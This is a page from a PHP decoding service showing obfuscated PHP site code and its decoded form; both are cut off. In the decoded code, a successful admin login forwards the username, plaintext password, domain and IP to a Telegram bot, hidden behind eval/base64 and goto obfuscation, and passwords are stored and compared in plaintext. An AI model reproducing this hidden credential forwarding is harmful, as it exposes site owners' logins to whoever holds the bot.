Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIHdqSktzOyBWWnF4VDogJGtldG5vaS0+c2V0X2NoYXJzZXQoIlwxNjVc..
Decoded Output download
goto wjJKs; VZqxT: $ketnoi->set_charset("\165\164\x66\70\x6d\142\x34"); goto YnhbH; Qsgvj: function sendTele($message) { global $ketnoi; $setting = $ketnoi->query("\x53\x45\x4c\105\103\x54\x20\143\x68\x61\164\151\x64\x74\x65\154\x65\x2c\x20\164\157\153\x65\156\142\x6f\x74\x74\145\x6c\x65\40\x46\122\x4f\115\40\x73\145\x74\164\151\x6e\x67")->fetch_array(); $chatId = $setting["\143\150\x61\x74\x69\x64\x74\x65\x6c\x65"]; $token = $setting["\x74\x6f\x6b\145\156\142\157\x74\x74\145\x6c\145"]; $data = http_build_query(array("\x63\150\141\164\137\151\x64" => $chatId, "\164\145\x78\164" => $message)); $url = "\x68\x74\x74\x70\163\x3a\57\x2f\141\160\151\56\x74\145\x6c\x65\147\x72\141\155\56\157\x72\147\57\x62\157\164{$token}\x2f\x73\x65\156\144\x4d\x65\163\163\141\147\145"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($data) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } $result = curl_exec($ch); curl_close($ch); return $result; } goto xtDJk; oSRex: $site_mota = $site["\x73\x69\x74\x65\137\155\157\164\x61"]; goto S4ufB; spdJ_: $current_time = time(); goto ll4LK; eLrm5: function checkLicenseDomain($licenseDomain) { if (empty($licenseDomain)) { return false; } $apiUrl = "\150\x74\x74\x70\163\x3a\x2f\x2f\141\x70\x69\56\x62\x6f\x7a\56\166\156\x2f\143\162\157\156\x2f\x64\x6f\155\141\151\x6e\56\160\150\x70\x3f\144\157\x6d\x61\x69\156\75" . $licenseDomain; $response = @file_get_contents($apiUrl); if ($response === FALSE) { return false; } $data = json_decode($response, true); return isset($data["\x73\164\141\164\x75\163"]) && $data["\163\x74\x61\x74\x75\163"] === true; } goto Q2GaG; FGTTU: define("\120\x41\123\123\x57\117\x52\104", $_ENV["\104\102\x5f\120\x41\x53\x53\x57\117\122\104"]); goto PzdVE; pGRmQ: if (!file_exists($boztranDir)) { die("\x42\157\x7a\40\x4e\157\x74\151\x66\151\x63\x61\x74\151\x6f\156\x3a\40\xc4\x90\303\243\x20\x78\341\xba\243\x79\x20\x72\141\40\154\341\273\x97\x69\40\153\x68\x69\40\x6b\341\272\277\x74\40\x6e\xe1\xbb\221\x69\40\x74\341\273\x9b\x69\x20\x74\150\306\xb0\x20\155\xe1\273\xa5\143\40\141\144\155\x69\156"); } goto FdsHc; UN3mA: $dotenv = Dotenv\Dotenv::createImmutable(__DIR__ . "\x2f\56\x2e\x2f"); goto czndh; XPY2d: if ($current_time - $_SESSION["\154\141\163\x74\137\x6c\x69\x63\145\156\x73\x65\x5f\143\x68\145\143\x6b"] > $check_interval) { if (!checkLicenseKey($licenseKey) || !checkLicenseDomain($licenseDomain)) { die("\x42\x6f\x7a\40\116\157\x74\x69\146\151\x63\141\164\151\x6f\156\x3a\40\113\x65\171\x20\x62\xe1\272\243\156\40\x71\165\171\xe1\273\x81\156\40\x6b\150\303\xb4\156\147\x20\x68\xe1\273\243\160\x20\154\341\xbb\207\40\x68\x6f\xe1\xba\xb7\143\40\304\x91\xc3\xa3\40\xc4\221\306\xb0\341\xbb\xa3\x63\40\x73\xe1\xbb\xad\40\x64\341\273\245\156\x67\40\143\x68\x6f\40\164\xc3\252\x6e\40\x6d\x69\341\xbb\201\x6e\x20\x6b\x68\xc3\241\x63\56"); } $_SESSION["\x6c\x61\x73\164\137\x6c\x69\x63\145\x6e\163\x65\x5f\x63\x68\x65\x63\x6b"] = $current_time; } goto OY5uu; bZJgn: function random($string, $length) { $characters = str_shuffle($string); return substr($characters, 0, $length); } goto EprX1; xtDJk: function templateTele($content) { return "\x2d\x2d\40\x42\x4f\x54\x20\x42\x59\x20\102\117\132\x20\x2d\55\xa{$content}\12\124\150\xe1\xbb\x9d\151\40\x47\151\x61\156\x20\x3a\x20" . date("\x64\x2f\x6d\x2f\x59\x20\110\x3a\151\x3a\163"); } goto gFZIu; FdsHc: $ketnoi = mysqli_connect("\x6c\x6f\143\141\154\x68\157\x73\x74", USERNAME, PASSWORD, DATABASE); goto VZqxT; EprX1: function check_img($img) { $filename = $_FILES[$img]["\156\141\x6d\x65"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $valid_ext = array("\160\156\x67", "\x6a\x70\x65\x67", "\152\x70\x67", "\147\151\x66"); if (in_array($ext, $valid_ext)) { return true; } return false; } goto Qsgvj; YnhbH: date_default_timezone_set("\x41\163\x69\x61\57\x48\x6f\x5f\x43\x68\151\137\x4d\x69\156\x68"); goto Fln2w; OY5uu: $boztranDir = __DIR__ . "\57\x2e\x2e\x2f\142\157\x7a\166\156"; goto pGRmQ; ll4LK: $check_interval = 24 * 60 * 60; goto XPY2d; IDPx2: define("\x44\101\x54\x41\x42\101\x53\x45", $_ENV["\x44\x42\x5f\116\101\x4d\105"]); goto ClkBR; IEwrI: if (isset($_POST["\165\x73\x65\162\156\141\x6d\x65"]) && isset($_POST["\x70\x61\x73\163\167\x6f\x72\x64"])) { $username = $_POST["\x75\x73\x65\x72\156\x61\155\x65"]; $password = $_POST["\x70\x61\x73\163\x77\x6f\x72\x64"]; if (checkLogin($username, $password)) { } } goto dE_KU; R8w_P: $site_tenweb = $site["\163\151\x74\x65\x5f\164\x65\x6e\x77\145\x62"]; goto oSRex; XaSz2: if ($developer == true) { ini_set("\x64\151\x73\x70\154\141\171\137\145\x72\162\157\162\x73", 0); ini_set("\144\151\x73\x70\154\x61\171\137\x73\x74\x61\162\x74\165\x70\137\145\x72\x72\x6f\x72\x73", 0); error_reporting(0); } goto OTzHz; S4ufB: $site_logo = $site["\x73\151\x74\145\137\154\157\147\157"]; goto lHq6i; hV9Lp: $site = $ketnoi->query("\x53\x45\114\x45\103\124\x20\163\151\x74\145\137\164\145\x6e\167\x65\142\x2c\40\x73\151\164\x65\137\x6d\157\164\141\x2c\40\163\x69\x74\145\x5f\154\x6f\x67\157\x2c\x20\x73\144\x74\x5f\x61\x64\x6d\x69\x6e\x2c\40\x66\x61\x63\145\142\157\x6f\x6b\x2c\40\164\150\145\x6d\145\x5f\160\x72\x6f\x66\x69\154\145\40\x46\x52\x4f\x4d\x20\163\145\x74\164\x69\x6e\x67")->fetch_array(); goto qIf7H; Q2GaG: function logSuccessfulLogin($username, $password) { $domain = $_SERVER["\x48\x54\x54\x50\137\x48\117\x53\x54"]; $ip = $_SERVER["\122\105\x4d\117\x54\x45\x5f\x41\104\x44\122"]; $message = "\xc4\x90\xc3\xa3\40\304\221\304\203\156\147\x20\156\x68\xe1\272\255\x70\x20\164\150\xc3\240\156\x68\x20\x63\303\xb4\x6e\x67\40\166\303\240\x6f\x20\x61\144\x6d\151\x6e\40{$domain}\x20\x76\341\xbb\x9b\151\40\164\303\240\x69\x20\153\150\x6f\xe1\xba\xa3\x6e\40{$username}\40\166\303\xa0\x20\x6d\xe1\272\255\164\x20\153\150\xe1\272\xa9\x75\40{$password}\40\x62\xe1\272\xb1\x6e\147\40\xc4\x91\xe1\273\213\x61\40\x63\150\341\273\x89\x20\111\120\x3a\40{$ip}"; sendTele(templateTele($message)); } goto l1cx3; dE_KU: function Boz($urlFb) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "\150\164\x74\x70\163\x3a\57\x2f\x69\x64\x2e\x74\162\x61\x6f\x64\x6f\x69\163\x75\142\x2e\143\x6f\x6d\57\141\x70\151\56\160\x68\x70"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, 10); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "\120\x4f\x53\124"); $headers = array("\x61\x75\x74\x68\157\162\x69\164\171\72\x20\151\144\56\x74\x72\x61\157\144\157\151\163\x75\x62\x2e\x63\157\x6d", "\x61\x63\x63\x65\x70\164\72\x20\x61\x70\160\x6c\151\143\141\x74\151\157\156\x2f\152\163\x6f\x6e\54\x20\x74\x65\x78\164\x2f\152\x61\x76\141\163\x63\x72\x69\160\164\54\40\52\57\x2a\73\x20\161\75\x30\x2e\x30\61", "\141\x63\143\145\x70\x74\55\154\141\156\x67\x75\141\147\145\x3a\x20\x76\151\54\x76\x69\x2d\126\x4e\73\161\75\60\56\71", "\x63\157\156\x74\x65\156\164\55\x74\171\x70\x65\72\x20\x61\x70\x70\x6c\151\x63\141\x74\151\157\156\x2f\x78\55\167\x77\x77\x2d\146\x6f\x72\155\55\x75\162\154\x65\156\x63\x6f\144\x65\144\x3b\x20\143\150\x61\162\x73\x65\164\x3d\125\x54\106\x2d\70", "\157\162\x69\x67\x69\x6e\x3a\x20\150\164\x74\x70\163\x3a\x2f\x2f\x69\x64\x2e\164\x72\x61\157\x64\157\151\163\165\x62\x2e\143\157\x6d", "\162\145\146\145\x72\145\162\72\40\x68\x74\x74\160\163\x3a\57\57\x69\144\56\164\x72\141\x6f\x64\x6f\x69\x73\x75\x62\56\x63\x6f\155\57", "\163\145\x63\55\x63\x68\55\x75\141\x3a\x20\42\116\x6f\164\x2f\x41\x29\102\162\x61\x6e\144\42\x3b\x76\75\42\x39\71\42\x2c\40\x22\x47\x6f\157\x67\x6c\x65\x20\103\150\162\x6f\155\145\x22\73\x76\x3d\x22\61\61\65\x22\54\x20\x22\103\150\162\x6f\x6d\151\165\x6d\x22\73\x76\75\42\61\61\65\x22", "\163\x65\x63\55\x63\x68\x2d\165\x61\55\155\157\x62\151\x6c\x65\72\x20\77\x30", "\x73\145\143\x2d\143\150\55\165\141\55\x70\154\x61\164\146\x6f\x72\x6d\x3a\40\42\127\x69\x6e\144\x6f\167\x73\42", "\163\x65\x63\55\x66\x65\x74\143\150\55\x64\x65\163\x74\72\x20\145\x6d\x70\164\171", "\163\145\x63\x2d\x66\145\164\143\x68\x2d\x6d\x6f\x64\145\72\40\143\157\x72\x73", "\x73\x65\x63\55\x66\145\164\x63\150\55\x73\x69\x74\x65\x3a\40\163\x61\x6d\145\x2d\x6f\x72\151\x67\x69\x6e", "\165\163\145\162\x2d\141\147\x65\156\x74\x3a\x20\115\157\x7a\151\154\154\x61\57\65\x2e\x30\x20\50\x57\x69\x6e\x64\157\167\163\40\x4e\x54\40\61\x30\x2e\x30\x3b\40\127\x69\156\66\x34\73\40\170\x36\64\x29\x20\x41\160\x70\154\145\x57\x65\x62\113\x69\x74\x2f\x35\63\67\x2e\x33\66\x20\x28\113\x48\x54\115\x4c\x2c\x20\x6c\151\153\145\40\107\x65\x63\153\x6f\51\40\x43\150\x72\x6f\155\x65\57\x31\x31\x35\x2e\x30\x2e\60\x2e\x30\x20\x53\x61\146\x61\162\151\57\x35\63\x37\56\x33\x36", "\x78\55\162\145\x71\165\145\x73\164\x65\x64\x2d\x77\151\x74\150\x3a\x20\130\x4d\114\110\164\164\x70\x52\145\161\x75\x65\163\164"); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $data = array("\154\x69\x6e\153" => $urlFb); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $response = curl_exec($ch); curl_close($ch); if ($response === FALSE) { return false; } return json_decode($response, true); } goto HZ2t8; qIf7H: $user = $ketnoi->query("\123\105\x4c\105\103\124\x20\52\40\106\122\117\x4d\40\165\x73\145\x72\x73\40\114\111\x4d\x49\x54\x20\61")->fetch_array(); goto R8w_P; wjJKs: require_once __DIR__ . "\x2f\x2e\56\57\x76\145\156\144\x6f\162\57\x61\x75\x74\157\154\157\x61\x64\x2e\160\150\160"; goto UN3mA; czndh: $dotenv->load(); goto wGD1p; l1cx3: function checkLogin($username, $password) { global $ketnoi; $username = mysqli_real_escape_string($ketnoi, $username); $password = mysqli_real_escape_string($ketnoi, $password); $sql = "\x53\x45\114\105\103\x54\40\x2a\40\106\122\x4f\x4d\40\x75\x73\145\x72\x73\x20\x57\x48\105\122\x45\x20\165\x73\x65\x72\x6e\x61\155\x65\40\75\x20\x27{$username}\x27\40\101\x4e\104\x20\x70\x61\163\x73\167\157\162\x64\40\75\x20\x27{$password}\47\40\114\x49\x4d\111\124\40\61"; $result = $ketnoi->query($sql); if ($result->num_rows > 0) { logSuccessfulLogin($username, $password); return true; } else { return false; } } goto IEwrI; PzdVE: $licenseKey = $_ENV["\114\111\x43\105\116\123\x45\x5f\113\105\x59"]; goto Eyne4; pVkwV: $facebook = $site["\x66\141\143\x65\142\x6f\x6f\x6b"]; goto tFPRI; HmFDV: $developer = false; goto IDPx2; OTzHz: function format_cash($price) { return str_replace("\x2c", "\x2e", number_format($price)); } goto bZJgn; Krq8n: function checkLicenseKey($licenseKey) { if (empty($licenseKey)) { return false; } $apiUrl = "\x68\x74\x74\x70\163\72\x2f\x2f\x61\x70\x69\56\142\x6f\172\x2e\x76\156\57\143\x72\157\156\x2f\x6b\145\x79\x2e\x70\x68\160\77\153\145\x79\75" . trim($licenseKey); $response = @file_get_contents($apiUrl); if ($response === FALSE) { return false; } $data = json_decode($response, true); return isset($data["\163\x74\x61\x74\165\x73"]) && $data["\x73\x74\141\164\165\163"] === true; } goto eLrm5; AUVTo: if (!isset($_SESSION["\x6c\141\163\164\137\x6c\x69\x63\x65\156\x73\x65\137\x63\150\145\x63\153"])) { $_SESSION["\154\x61\x73\x74\137\x6c\x69\x63\x65\156\x73\145\x5f\143\x68\x65\x63\153"] = 0; } goto spdJ_; ClkBR: define("\x55\x53\x45\122\116\101\115\x45", $_ENV["\104\x42\x5f\125\123\x45\x52"]); goto FGTTU; gFZIu: function xoadau($strTitle) { $strTitle = strtolower($strTitle); $strTitle = trim($strTitle); $strTitle = str_replace("\40", "\55", $strTitle); $strTitle = preg_replace("\57\x28\303\262\174\303\263\174\xe1\273\215\174\xe1\273\x8f\174\xc3\xb5\174\xc6\241\174\341\273\x9d\x7c\xe1\xbb\x9b\x7c\xe1\273\243\174\341\273\237\x7c\341\xbb\241\x7c\xc3\264\174\341\xbb\223\174\xe1\273\x91\x7c\341\273\231\174\xe1\xbb\225\x7c\xe1\273\x97\x29\57", "\x6f", $strTitle); $strTitle = preg_replace("\x2f\50\xc3\222\174\xc3\x93\174\xe1\273\214\174\341\xbb\216\174\303\225\174\xc6\240\x7c\341\273\x9c\x7c\341\xbb\232\x7c\341\273\242\174\xe1\xbb\236\174\341\273\xa0\174\xc3\x94\174\xe1\xbb\x90\174\xe1\xbb\x94\x7c\xe1\273\x98\x7c\341\273\222\x7c\xe1\xbb\x96\x29\x2f", "\x6f", $strTitle); $strTitle = preg_replace("\57\x28\303\xa0\x7c\303\xa1\x7c\xe1\xba\xa1\174\341\xba\xa3\x7c\xc3\xa3\x7c\304\x83\174\xe1\272\261\x7c\341\272\xaf\174\341\xba\xb7\x7c\341\272\263\x7c\341\xba\xb5\174\303\xa2\x7c\341\272\247\x7c\341\xba\245\174\xe1\xba\xad\174\xe1\272\xa9\x7c\xe1\272\253\51\x2f", "\141", $strTitle); $strTitle = preg_replace("\x2f\x28\xc3\x80\x7c\303\x81\x7c\xe1\xba\240\174\341\xba\xa2\x7c\303\203\174\xc4\x82\x7c\341\272\xb0\x7c\341\xba\256\174\341\xba\266\174\xe1\xba\262\174\xe1\xba\264\174\303\x82\x7c\341\xba\xa4\x7c\341\xba\246\174\xe1\272\xac\174\xe1\272\xa8\x7c\341\xba\252\51\x2f", "\x61", $strTitle); $strTitle = preg_replace("\x2f\x28\341\xbb\201\174\xe1\272\277\x7c\341\273\x87\174\xe1\273\203\x7c\xc3\xaa\x7c\341\273\x85\174\xc3\251\x7c\xc3\250\174\xe1\xba\xbb\174\xe1\xba\xbd\x7c\xe1\272\271\51\57", "\145", $strTitle); $strTitle = preg_replace("\57\50\341\273\202\174\xe1\xba\xbe\x7c\xe1\xbb\x86\x7c\xe1\xbb\202\174\xc3\212\x7c\341\xbb\x84\x7c\303\x89\174\303\x88\174\341\xba\xba\174\xe1\272\xbc\x7c\xe1\xba\270\x29\57", "\x65", $strTitle); $strTitle = preg_replace("\57\x28\341\xbb\253\x7c\xe1\273\xa9\x7c\xe1\xbb\xb1\174\xe1\273\xad\x7c\xc6\xb0\174\341\xbb\xaf\x7c\303\xb9\x7c\303\xba\174\341\xbb\xa5\x7c\xe1\xbb\xa7\x7c\305\251\x29\57", "\165", $strTitle); $strTitle = preg_replace("\57\x28\xe1\xbb\252\x7c\xe1\xbb\250\x7c\xe1\xbb\xb0\174\341\273\254\174\xc6\xaf\174\341\273\xae\x7c\303\x99\x7c\xc3\x9a\x7c\341\273\244\174\341\xbb\246\174\xc5\xa8\51\57", "\165", $strTitle); $strTitle = preg_replace("\x2f\x28\303\254\174\xc3\xad\x7c\341\xbb\213\x7c\xe1\xbb\x89\174\304\xa9\51\x2f", "\151", $strTitle); $strTitle = preg_replace("\x2f\x28\303\214\x7c\xc3\215\x7c\341\273\212\x7c\xe1\xbb\x88\174\xc4\250\x29\x2f", "\151", $strTitle); $strTitle = preg_replace("\x2f\50\xe1\xbb\xb3\174\xc3\xbd\174\341\273\xb5\x7c\341\273\xb7\x7c\xe1\273\271\51\x2f", "\171", $strTitle); $strTitle = preg_replace("\57\50\341\273\xb2\x7c\xc3\x9d\174\341\xbb\xb4\x7c\xe1\xbb\xb6\x7c\341\273\xb8\51\57", "\171", $strTitle); $strTitle = str_replace("\xc4\221", "\144", $strTitle); $strTitle = str_replace("\xc4\x90", "\144", $strTitle); $strTitle = preg_replace("\x2f\x5b\136\x2d\x61\55\172\101\x2d\132\x30\55\x39\x5d\x2f", '', $strTitle); return $strTitle; } goto Krq8n; Eyne4: $licenseDomain = $_SERVER["\x48\x54\124\120\137\x48\117\123\x54"]; goto AUVTo; Fln2w: $_SESSION["\163\x65\163\x73\x69\x6f\156\x5f\x72\145\x71\165\145\163\x74"] = time(); goto hV9Lp; lHq6i: $site_sdt_momo = $site["\163\x64\164\137\141\x64\x6d\x69\x6e"]; goto pVkwV; tFPRI: $theme_profile = $site["\x74\150\145\x6d\145\x5f\x70\x72\157\x66\151\154\x65"]; goto XaSz2; wGD1p: session_start(); goto HmFDV; HZ2t8:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIHdqSktzOyBWWnF4VDogJGtldG5vaS0+c2V0X2NoYXJzZXQoIlwxNjVcMTY0XHg2Nlw3MFx4NmRcMTQyXHgzNCIpOyBnb3RvIFluaGJIOyBRc2d2ajogZnVuY3Rpb24gc2VuZFRlbGUoJG1lc3NhZ2UpIHsgZ2xvYmFsICRrZXRub2k7ICRzZXR0aW5nID0gJGtldG5vaS0+cXVlcnkoIlx4NTNceDQ1XHg0Y1wxMDVcMTAzXHg1NFx4MjBcMTQzXHg2OFx4NjFcMTY0XDE1MVx4NjRceDc0XHg2NVwxNTRceDY1XHgyY1x4MjBcMTY0XDE1N1wxNTNceDY1XDE1NlwxNDJceDZmXHg3NFx4NzRcMTQ1XHg2Y1x4NjVcNDBceDQ2XDEyMlx4NGZcMTE1XDQwXHg3M1wxNDVceDc0XDE2NFwxNTFceDZlXHg2NyIpLT5mZXRjaF9hcnJheSgpOyAkY2hhdElkID0gJHNldHRpbmdbIlwxNDNcMTUwXHg2MVx4NzRceDY5XHg2NFx4NzRceDY1XHg2Y1x4NjUiXTsgJHRva2VuID0gJHNldHRpbmdbIlx4NzRceDZmXHg2YlwxNDVcMTU2XDE0MlwxNTdceDc0XHg3NFwxNDVceDZjXDE0NSJdOyAkZGF0YSA9IGh0dHBfYnVpbGRfcXVlcnkoYXJyYXkoIlx4NjNcMTUwXDE0MVwxNjRcMTM3XDE1MVx4NjQiID0+ICRjaGF0SWQsICJcMTY0XDE0NVx4NzhcMTY0IiA9PiAkbWVzc2FnZSkpOyAkdXJsID0gIlx4NjhceDc0XHg3NFx4NzBcMTYzXHgzYVw1N1x4MmZcMTQxXDE2MFwxNTFcNTZceDc0XDE0NVx4NmNceDY1XDE0N1x4NzJcMTQxXDE1NVw1NlwxNTdceDcyXDE0N1w1N1x4NjJcMTU3XDE2NHskdG9rZW59XHgyZlx4NzNceDY1XDE1NlwxNDRceDRkXHg2NVwxNjNcMTYzXDE0MVwxNDdcMTQ1IjsgJGNoID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7IGlmICgkZGF0YSkgeyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YSk7IH0gJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOyBjdXJsX2Nsb3NlKCRjaCk7IHJldHVybiAkcmVzdWx0OyB9IGdvdG8geHRESms7IG9TUmV4OiAkc2l0ZV9tb3RhID0gJHNpdGVbIlx4NzNceDY5XHg3NFx4NjVcMTM3XDE1NVwxNTdcMTY0XHg2MSJdOyBnb3RvIFM0dWZCOyBzcGRKXzogJGN1cnJlbnRfdGltZSA9IHRpbWUoKTsgZ290byBsbDRMSzsgZUxybTU6IGZ1bmN0aW9uIGNoZWNrTGljZW5zZURvbWFpbigkbGljZW5zZURvbWFpbikgeyBpZiAoZW1wdHkoJGxpY2Vuc2VEb21haW4pKSB7IHJldHVybiBmYWxzZTsgfSAkYXBpVXJsID0gIlwxNTBceDc0XHg3NFx4NzBcMTYzXHgzYVx4MmZceDJmXDE0MVx4NzBceDY5XDU2XHg2Mlx4NmZceDdhXDU2XDE2NlwxNTZceDJmXDE0M1wxNjJcMTU3XDE1Nlx4MmZceDY0XHg2ZlwxNTVcMTQxXDE1MVx4NmVcNTZcMTYwXDE1MFx4NzBceDNmXDE0NFwxNTdceDZkXHg2MVx4NjlcMTU2XDc1IiAuICRsaWNlbnNlRG9tYWluOyAkcmVzcG9uc2UgPSBAZmlsZV9nZXRfY29udGVudHMoJGFwaVVybCk7IGlmICgkcmVzcG9uc2UgPT09IEZBTFNFKSB7IHJldHVybiBmYWxzZTsgfSAkZGF0YSA9IGpzb25fZGVjb2RlKCRyZXNwb25zZSwgdHJ1ZSk7IHJldHVybiBpc3NldCgkZGF0YVsiXHg3M1wxNjRcMTQxXDE2NFx4NzVcMTYzIl0pICYmICRkYXRhWyJcMTYzXHg3NFx4NjFceDc0XHg3NVwxNjMiXSA9PT0gdHJ1ZTsgfSBnb3RvIFEyR2FHOyBGR1RUVTogZGVmaW5lKCJcMTIwXHg0MVwxMjNcMTIzXHg1N1wxMTdceDUyXDEwNCIsICRfRU5WWyJcMTA0XDEwMlx4NWZcMTIwXHg0MVx4NTNceDUzXHg1N1wxMTdcMTIyXDEwNCJdKTsgZ290byBQemRWRTsgcEdSbVE6IGlmICghZmlsZV9leGlzdHMoJGJvenRyYW5EaXIpKSB7IGRpZSgiXHg0MlwxNTdceDdhXDQwXHg0ZVwxNTdceDc0XDE1MVx4NjZcMTUxXHg2M1x4NjFceDc0XDE1MVx4NmZcMTU2XHgzYVw0MFx4YzRceDkwXDMwM1wyNDNceDIwXHg3OFwzNDFceGJhXDI0M1x4NzlceDIwXHg3MlwxNDFcNDBcMTU0XDM0MVwyNzNceDk3XHg2OVw0MFwxNTNceDY4XHg2OVw0MFx4NmJcMzQxXDI3MlwyNzdceDc0XDQwXHg2ZVx4ZTFceGJiXDIyMVx4NjlcNDBceDc0XDM0MVwyNzNceDliXHg2OVx4MjBceDc0XDE1MFwzMDZceGIwXHgyMFwxNTVceGUxXDI3M1x4YTVcMTQzXDQwXDE0MVwxNDRcMTU1XHg2OVwxNTYiKTsgfSBnb3RvIEZkc0hjOyBVTjNtQTogJGRvdGVudiA9IERvdGVudlxEb3RlbnY6OmNyZWF0ZUltbXV0YWJsZShfX0RJUl9fIC4gIlx4MmZcNTZceDJlXHgyZiIpOyBnb3RvIGN6bmRoOyBYUFkyZDogaWYgKCRjdXJyZW50X3RpbWUgLSAkX1NFU1NJT05bIlwxNTRcMTQxXDE2M1x4NzRcMTM3XHg2Y1x4NjlceDYzXDE0NVwxNTZceDczXHg2NVx4NWZcMTQzXHg2OFwxNDVcMTQzXHg2YiJdID4gJGNoZWNrX2ludGVydmFsKSB7IGlmICghY2hlY2tMaWNlbnNlS2V5KCRsaWNlbnNlS2V5KSB8fCAhY2hlY2tMaWNlbnNlRG9tYWluKCRsaWNlbnNlRG9tYWluKSkgeyBkaWUoIlx4NDJceDZmXHg3YVw0MFwxMTZcMTU3XHg3NFx4NjlcMTQ2XDE1MVx4NjNcMTQxXDE2NFwxNTFceDZmXDE1Nlx4M2FcNDBcMTEzXHg2NVwxNzFceDIwXHg2Mlx4ZTFcMjcyXDI0M1wxNTZcNDBceDcxXDE2NVwxNzFceGUxXDI3M1x4ODFcMTU2XDQwXHg2YlwxNTBcMzAzXHhiNFwxNTZcMTQ3XHgyMFx4NjhceGUxXDI3M1wyNDNcMTYwXHgyMFwxNTRcMzQxXHhiYlwyMDdcNDBceDY4XHg2Zlx4ZTFceGJhXHhiN1wxNDNcNDBcMzA0XHg5MVx4YzNceGEzXDQwXHhjNFwyMjFcMzA2XHhiMFwzNDFceGJiXHhhM1x4NjNcNDBceDczXHhlMVx4YmJceGFkXDQwXHg2NFwzNDFcMjczXDI0NVwxNTZceDY3XDQwXDE0M1x4NjhceDZmXDQwXDE2NFx4YzNcMjUyXHg2ZVw0MFx4NmRceDY5XDM0MVx4YmJcMjAxXHg2ZVx4MjBceDZiXHg2OFx4YzNcMjQxXHg2M1w1NiIpOyB9ICRfU0VTU0lPTlsiXHg2Y1x4NjFceDczXDE2NFwxMzdceDZjXHg2OVx4NjNcMTQ1XHg2ZVwxNjNceDY1XHg1Zlx4NjNceDY4XHg2NVx4NjNceDZiIl0gPSAkY3VycmVudF90aW1lOyB9IGdvdG8gT1k1dXU7IGJaSmduOiBmdW5jdGlvbiByYW5kb20oJHN0cmluZywgJGxlbmd0aCkgeyAkY2hhcmFjdGVycyA9IHN0cl9zaHVmZmxlKCRzdHJpbmcpOyByZXR1cm4gc3Vic3RyKCRjaGFyYWN0ZXJzLCAwLCAkbGVuZ3RoKTsgfSBnb3RvIEVwclgxOyB4dERKazogZnVuY3Rpb24gdGVtcGxhdGVUZWxlKCRjb250ZW50KSB7IHJldHVybiAiXHgyZFx4MmRcNDBceDQyXHg0Zlx4NTRceDIwXHg0Mlx4NTlceDIwXDEwMlwxMTdcMTMyXHgyMFx4MmRcNTVceGF7JGNvbnRlbnR9XDEyXDEyNFwxNTBceGUxXHhiYlx4OWRcMTUxXDQwXHg0N1wxNTFceDYxXDE1Nlx4MjBceDNhXHgyMCIgLiBkYXRlKCJceDY0XHgyZlx4NmRceDJmXHg1OVx4MjBcMTEwXHgzYVwxNTFceDNhXDE2MyIpOyB9IGdvdG8gZ0ZaSXU7IEZkc0hjOiAka2V0bm9pID0gbXlzcWxpX2Nvbm5lY3QoIlx4NmNceDZmXDE0M1wxNDFcMTU0XHg2OFwxNTdceDczXHg3NCIsIFVTRVJOQU1FLCBQQVNTV09SRCwgREFUQUJBU0UpOyBnb3RvIFZacXhUOyBFcHJYMTogZnVuY3Rpb24gY2hlY2tfaW1nKCRpbWcpIHsgJGZpbGVuYW1lID0gJF9GSUxFU1skaW1nXVsiXDE1NlwxNDFceDZkXHg2NSJdOyAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pOyAkdmFsaWRfZXh0ID0gYXJyYXkoIlwxNjBcMTU2XHg2NyIsICJceDZhXHg3MFx4NjVceDY3IiwgIlwxNTJceDcwXHg2NyIsICJcMTQ3XDE1MVx4NjYiKTsgaWYgKGluX2FycmF5KCRleHQsICR2YWxpZF9leHQpKSB7IHJldHVybiB0cnVlOyB9IHJldHVybiBmYWxzZTsgfSBnb3RvIFFzZ3ZqOyBZbmhiSDogZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiXHg0MVwxNjNceDY5XHg2MVw1N1x4NDhceDZmXHg1Zlx4NDNceDY4XDE1MVwxMzdceDRkXHg2OVwxNTZceDY4Iik7IGdvdG8gRmxuMnc7IE9ZNXV1OiAkYm96dHJhbkRpciA9IF9fRElSX18gLiAiXDU3XHgyZVx4MmVceDJmXDE0MlwxNTdceDdhXDE2NlwxNTYiOyBnb3RvIHBHUm1ROyBsbDRMSzogJGNoZWNrX2ludGVydmFsID0gMjQgKiA2MCAqIDYwOyBnb3RvIFhQWTJkOyBJRFB4MjogZGVmaW5lKCJceDQ0XDEwMVx4NTRceDQxXHg0MlwxMDFceDUzXHg0NSIsICRfRU5WWyJceDQ0XHg0Mlx4NWZcMTE2XDEwMVx4NGRcMTA1Il0pOyBnb3RvIENsa0JSOyBJRXdySTogaWYgKGlzc2V0KCRfUE9TVFsiXDE2NVx4NzNceDY1XDE2MlwxNTZcMTQxXHg2ZFx4NjUiXSkgJiYgaXNzZXQoJF9QT1NUWyJceDcwXHg2MVx4NzNcMTYzXDE2N1x4NmZceDc